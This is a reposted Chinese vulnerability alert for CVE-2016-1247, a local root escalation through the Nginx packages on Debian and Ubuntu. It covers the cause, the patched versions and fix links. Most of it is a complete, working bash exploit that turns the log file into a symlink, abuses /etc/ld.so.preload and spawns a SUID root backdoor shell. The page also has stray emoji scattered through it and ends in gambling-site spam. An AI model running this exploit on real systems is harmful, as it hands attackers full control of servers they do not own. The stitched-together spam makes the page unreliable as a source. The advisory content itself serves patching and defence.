網絡安全
【漏洞預警】 CVE-2016-1247📥:Debian👷🏻‍♀️、Ubuntu發行版的Nginx本地提權漏洞
更新日期👨‍❤️‍👨:2016年12月14日 15:04

http://p6.qhimg.com/t01b59410899316e89f.jpg

漏洞發現人🐯:Dawid Golunski

CVE編號  :CVE-2016-1247

發行日期  🧛🏿‍♀️:15.11.2016

安全級別  :


背景介紹


Nginx是一個高性能的HTTP和反向代理服務器🚾,也是一個 IMAP/POP3/SMTP 代理服務器。 Nginx 是由 Igor Sysoev 為俄羅斯訪問量第二的 Rambler.ru 站點開發的,第一個公開版本0.1.0發布於2004年10月4日🧖🏻‍♀️。其將源代碼以類BSD許可證的形式發布,因它的穩定性、豐富的功能集🧑‍🔧、示例配置文件和低系統資源的消耗而聞名🔕。2011年6月1日,nginx 1.0.4發布👨🏻‍🦽‍➡️。 Nginx是一款輕量級的Web 服務器/反向代理服務器及電子郵件(IMAP/POP3)代理服務器,並在一個BSD-like 協議下發行。由俄羅斯的程序設計師Igor Sysoev所開發,其特點是占有內存少,並發能力強。


漏洞描述


Debian、Ubuntu發行版的Nginx在新建日誌目錄的時🈹,使用了不安全的權限,因此本地惡意攻擊者可以從nginx/web用戶權限(www-data)提升到ROOT🧔🏼‍♂️。


漏洞概要


Debian發行版的Nginx本地提權漏洞,該漏洞已經在1.6.2-5+deb8u3中修復

因為該漏洞細節是在官方修復後公布的,因此請低版本的Debian/ubuntu用戶及時更新補丁:

補丁修復情況:

Debian:

在Nginx 1.6.2-5+deb8u3中修復

Ubuntu:

Ubuntu 16.04 LTS:

在1.10.0-0ubuntu0.16.04.3中修復

Ubuntu 14.04 LTS:

在1.4.6-1ubuntu3.6中修復

Ubuntu 16.10:

在1.10.1-0ubuntu1.1中修復


 

漏洞細節


基於Debian系統默認安裝的Nginx會在下面的路徑使用下面的權限新建Nginx日誌目錄

root@xenial:~# ls -ld /var/log/nginx/
drwxr-x--- 2 www-data adm 4096 Nov 12 22:32 /var/log/nginx/
root@xenial:~# ls -ld /var/log/nginx/*
-rw-r----- 1 www-data adm         0 Nov 12 22:31 /var/log/nginx/access.log
-rw-r--r-- 1 root     root    0 Nov 12 22:47 /var/log/nginx/error.log

我們可以看到/var/log/nginx目錄的擁有者是www-data,因此本地攻擊者可以通過符號鏈接到任意文件來替換日誌文件🟠🐒,從而實現提權🏃‍♀️‍➡️。

攻擊者通過符號鏈接替換了日誌文件後,需要等nginx daemon重新打開日誌文件🦷,因此需要重啟Nginx,或者nginx damon接受USR1進程信號。

這裏亮點來了,USR1進程信號會在默認安裝的Nginx通過logrotate腳本調用的do_rotate()函數自動觸發。

--------[ /etc/logrotate.d/nginx ]--------

/var/log/nginx/*.log {
daily
missingok
rotate 52
compress
delaycompress
notifempty
create 0640 www-data adm
sharedscripts
prerotate
if [ -d /etc/logrotate.d/httpd-prerotate ]; then \
run-parts /etc/logrotate.d/httpd-prerotate; \
fi \
endscript
postrotate
invoke-rc.d nginx rotate >/dev/null 2>&1
endscript
}
[...]
do_rotate() {
start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME
return 0
}
[...]

我們可以看到logrotation腳本會在corn中每天6:25AM自動調用,因此如果/etc/logrotate.d/nginx已經設置了'daily'日誌回滾,攻擊者將在不需要任何系統管理員交互的情況下,在24小時內實現提權到ROOT


漏洞驗證截圖


http://p5.qhimg.com/t0146698c1ea5488230.png

演示視頻



 

POC


#!/bin/bash
#
# Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit
# nginxed-root.sh (ver. 1.0)
#
# CVE-2016-1247
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# ---
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# etc.) to escalate their privileges from nginx web server user (www-data) to root
# through unsafe error log handling.
#
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation
# has been configured.
#
#
# Exploit usage:
# ./nginxed-root.sh path_to_nginx_error.log
#
# To trigger logrotation for testing the exploit, you can run the following command:
#
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
# Video PoC:
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}
function ctrl_c() {
echo -e "\n[+] Ctrl+C pressed"
cleanexit 0
}
#intro
cat <<_eascii_
_______________________________
< Is your server (N)jinxed ? ;o >
-------------------------------
\
\          __---__
_-       /--______
__--( /     \ )XXXXXXXXXXX\v.
.-XXX(   O   O  )XXXXXXXXXXXXXXX-
/XXX(       U     )        XXXXXXX\
/XXXXX(              )--_  XXXXXXXXXXX\
/XXXXX/ (      O     )   XXXXXX   \XXXXX\
XXXXX/   /            XXXXXX   \__ \XXXXX
XXXXXX__/          XXXXXX         \__---->
---___  XXX__/          XXXXXX      \__         /
\-  --__/   ___/\  XXXXXX            /  ___--/=
\-\    ___/    XXXXXX              '--- XXXXXX
\-\/XXX\ XXXXXX                      /XXXXX
\XXXXXXXXX   \                    /XXXXX/
\XXXXXX      >                 _/XXXXX/
\XXXXX--__/              __-- XXXX/
-XXXXXXXX---------------  XXXXXX-
\XXXXXXXXXXXXXXXXXXXXXXXXXX/
""VXXXXXXXXXXXXXXXXXXV""
_eascii_
echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"
# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
exit 3
fi
# Priv check
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
exit 3
fi
# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
exit 3
fi
# [ Exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t  (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi
# Symlink the log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"
# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do
sleep 1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done
# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null
# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi
rm -f $ERRORLOG
echo > $ERRORLOG
# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"
# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -i
# Job done.
cleanexit 0🧿👰🏽‍♀️:Debian😙、ubuntu發行版的Nginx本地提權漏洞(含POC)

修復方案


升級為最新的Nginx軟件包 

https://www.debian.org/security/2016/dsa-3701

https://www.ubuntu.com/usn/usn-3114-1/

轉載來自🐰:http://bobao.360.cn/learning/detail/3195.html

意昂体育4平台专业提供:意昂体育4平台🐸、意昂体育4🛫🆗、意昂体育4登录等服务,提供最新官网平台、地址、注册、登陆、登录、入口、全站、网站、网页、网址、娱乐、手机版、app、下载、欧洲杯、欧冠、nba、世界杯、英超等,界面美观优质完美,安全稳定,服务一流😂,意昂体育4平台欢迎您。 意昂体育4平台官網xml地圖